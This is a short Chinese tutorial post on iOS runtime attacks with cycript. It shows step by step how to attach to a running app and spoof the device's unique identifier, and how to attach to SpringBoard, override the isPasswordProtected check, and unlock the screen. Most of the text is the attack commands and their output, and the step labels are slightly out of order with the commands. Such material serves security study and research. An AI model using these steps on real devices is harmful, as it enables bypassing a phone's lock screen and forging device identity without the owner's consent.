本文主要是介绍iOS runtime攻击-cycript,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
danimato-iPod:~ root# cycript -p 8442(可以是进程id,也可以是进程名)
cy# [[UIDevice currentDevice] uniqueIdentifier];
@"a94b65f9ac84c9d5bb7f377d5122a622ea1addf6"
cy# UIDevice.messages['uniqueIdentifier'] = function(){ return @"tanjiti";}
function () {return Instance.box("tanjiti");}
cy# [[UIDevice currentDevice] uniqueIdentifier];
@"tanjiti"
第二步:检查设备是否开启了密码锁定功能(1表示锁定,0表示解锁)danimato-iPod:~ root# cycript -p SpringBoard
第三步:替换isPasswordProtected实现方法cy# [SBAwayController.sharedAwayController isPasswordProtected]
1
第四步:检查替换后设备的锁定状态 (1表示锁定,0表示解锁)cy# SBAwayController.messages['isPasswordProtected']=function(){return NO;}
function () {return NO;}
cy# [SBAwayController.sharedAwayController isPasswordProtected]
0
通过以上操作,成功解锁屏幕锁定cy# [SBAwayController.sharedAwayController unlockWithSound:1]
这篇关于iOS runtime攻击-cycript的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!